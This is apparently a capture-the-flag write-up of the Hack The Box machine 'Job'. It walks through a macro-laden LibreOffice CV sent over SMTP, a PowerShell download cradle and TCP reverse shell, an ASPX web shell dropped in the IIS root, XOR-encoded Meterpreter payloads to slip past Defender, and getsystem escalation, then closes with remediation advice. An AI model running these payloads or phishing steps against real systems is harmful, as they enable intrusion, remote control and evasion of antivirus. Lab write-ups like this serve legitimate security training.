Hacking Insights by Max Bautista

Job writeup

Box name: Job

Difficulty: Medium

OS: Windows

Overview: Job is a Medium difficulty Windows box. It runs an SMTP server and its website accepts LibreOffice-compatible documents, providing a vector to deliver a document with embedded macros that leads to remote code execution as user jack.black. jack.black is a member of the DEVELOPERS group, which has write access to C:\inetpub\wwwroot (the IIS web root), allowing files to be placed in the webroot and achieve code execution as the IIS AppPool service account. The IIS AppPool account has the SeImpersonate privilege, creating conditions that allow token-impersonation techniques to be used to escalate privileges to Administrator.

Link: https://app.hackthebox.com/machines/Job?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.73

Ran rustscan against the machine.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

Navigated to the webserver and it tells us to send in an application/CV as a libre office document. We can’t do it here but it gives us an address career@job.local. 

We do see port 25 (SMTP) open. We can maybe create a malicious libre office document and send an email. Upon research we can use macros possibly. Created a msfvenom payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f psh -o shell.ps1

Set up an http.server.

My current LibreOffice Writer wasn’t working so I downloaded that then opened LibreOffice Writer.

Went to Tools -> Macros -> Edit Macros. Got a base64 payload to download the revshell and added it to the macro.

python3 -c “import base64; cmd = \”IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.27/shell.ps1’)\”; print(base64.b64encode(cmd.encode(‘UTF-16LE’)).decode())”

Sub Main
    Dim oShell As Object
    oShell = CreateObject("WScript.Shell")
    oShell.Run "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkA", 0, False
End Sub

Then added it so it would run upon open under Tools -> Customize -> Events. Used sendemail to send the file.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a ~/Downloads/hacked.odt -s 10.129.234.73:25

I was getting a response on my httpserver but was not getting a shell. I was able to create a new shell that got us a connection.

cat > ~/Fknhack/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.27',1337);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
EOF

And we get a shell as jack.black.

Grabbed user.txt.

Started windows local enumeration and we are in a JOB\developers group.

Whoami /groups

Did more enumeration and we can find that developers has write permissions to C:\inetpub\wwwroot.

icacls C:\inetpub\wwwroot

dir

There is also already an .aspx file in there. Created a .aspx shell.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx

Transferred it to the victim host.

(New-Object Net.WebClient).DownloadFile(‘http://10.10.16.27:8000/shell.aspx’, ‘C:\inetpub\wwwroot\shell.aspx’)

Navigated to it in a browser to trigger it with a listener and we got a shell.

Did additional enumeration as we are under a new account and I found we have SeImpersonatePrivilege privs.

Whoami /priv

I tried to get a meterpreter shell instead so we can abuse these tokens.

I had to evade the AV as with no evasion it was being caught but eventually I got a shell. For evasion I used this.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Incognito actually didn’t work or show tokens but get system worked.

Getsystem

Getuid

And I was able to grab root.txt.

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 25 (SMTP), 80 (HTTP), and others. Browsed to the web server and found a job application portal instructing applicants to submit a LibreOffice-compatible CV to career@job.local. The combination of an SMTP server and a document upload vector immediately suggested a macro-based phishing attack.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

2 – Initial Access – malicious LibreOffice macro via SMTP Generated a PowerShell reverse shell payload with msfvenom and hosted it on an HTTP server. Created a LibreOffice Writer document with a macro that downloaded and executed the shell payload using a base64 encoded PowerShell command. Configured the macro to trigger on document open via Tools – Customize – Events. Sent the malicious document to career@job.local via sendEmail. The initial msfvenom payload was caught by AV so replaced it with a raw TCP PowerShell shell script. Obtained a shell as jack.black and retrieved user.txt.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a hacked.odt -s 10.129.234.73:25

3 – IIS web root write access via DEVELOPERS group Enumerated group memberships and found jack.black was in the JOB\DEVELOPERS group. Confirmed the DEVELOPERS group had write access to C:\inetpub\wwwroot. Generated an ASPX reverse shell with msfvenom, transferred it to the web root, and triggered it via browser to obtain a shell as the IIS AppPool service account.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx icacls C:\inetpub\wwwroot

4 – Privilege Escalation – SeImpersonatePrivilege via Meterpreter getsystem Confirmed the IIS AppPool account held SeImpersonatePrivilege. Standard Meterpreter payloads were caught by Defender. Used XOR dynamic encoding with multiple iterations to evade AV detection and obtain a Meterpreter session. Incognito token impersonation was unavailable but getsystem succeeded in escalating to SYSTEM. Retrieved root.txt.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Key Takeaways

1. SMTP server accepting unauthenticated email enabling macro delivery – The SMTP server accepted mail from arbitrary external senders with no authentication or sender verification, allowing delivery of a malicious document to an internal mailbox. SMTP servers must require authentication for submission and must implement sender verification controls including SPF, DKIM, and DMARC.
   
2. Document processing without macro sandboxing or stripping – The career portal processed LibreOffice documents including embedded macros without sandboxing or stripping executable content. Document processing pipelines must disable macro execution entirely or process documents in an isolated environment with no network access and no ability to execute system commands.
   
3. DEVELOPERS group with write access to IIS web root – The JOB\DEVELOPERS group had write access to C:\inetpub\wwwroot, allowing any member to deploy arbitrary ASPX files and achieve code execution under the IIS AppPool account. Web root write access must be restricted to dedicated deployment service accounts and must never be granted to broad developer groups.
   
4. IIS AppPool account holding SeImpersonatePrivilege – The IIS application pool service account held SeImpersonatePrivilege which is a well-known privilege escalation path via token impersonation attacks. IIS AppPool accounts must run under dedicated identities with the minimum required permissions and must be audited for excessive privileges including SeImpersonatePrivilege.
   
5. AV evasion required but achievable with basic encoding – Defender blocked standard Meterpreter payloads but was bypassed using XOR encoding with multiple iterations. Reliance on signature-based AV as the primary defense is insufficient. Behavioral detection, application whitelisting, and network-level controls must be layered to detect post-exploitation activity regardless of payload encoding.
   

Remediation

[Immediate] Require SMTP authentication and implement email content filtering Configure the SMTP server to require authentication for all mail submission and reject unauthenticated connections from external sources. Deploy an email security gateway that strips or sandboxes macro-enabled documents before delivery. Implement SPF, DKIM, and DMARC to prevent spoofed sender addresses.

[Immediate] Disable macro execution in document processing Process all submitted documents in an isolated sandbox with no network access and no script or macro execution capability. If document preview or conversion is required, use a dedicated conversion service that renders documents without executing embedded code. Alert on any submitted document containing macros.

[Immediate] Remove write access from the DEVELOPERS group on the IIS web root Remove the DEVELOPERS group write permission from C:\inetpub\wwwroot immediately. Restrict web root write access to a dedicated deployment service account used exclusively for controlled deployments via an approved CI/CD pipeline. Audit the current web root for any unauthorized files including shell.aspx and meter.aspx and remove them.

[Immediate] Remove SeImpersonatePrivilege from the IIS AppPool account Audit the IIS AppPool account’s privileges and remove SeImpersonatePrivilege. Run IIS application pools under dedicated managed service accounts with the minimum permissions required. Verify that no application pool identity holds SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, or other token manipulation privileges.

[Short-term] Deploy behavioral endpoint detection Supplement signature-based AV with a behavioral EDR solution that detects post-exploitation activity including PowerShell download cradles, ASPX webshell execution, and token impersonation regardless of payload encoding. Alert on PowerShell executing from document processing contexts and on ASPX files being written to the web root.

[Long-term] Implement a secure document handling and web application deployment baseline Define a standard for all document intake processes covering macro stripping, sandboxed processing, and file type validation. Establish a controlled deployment pipeline for the IIS web root with change logging and file integrity monitoring. Include document processing pipelines and IIS configurations in the regular penetration testing scope.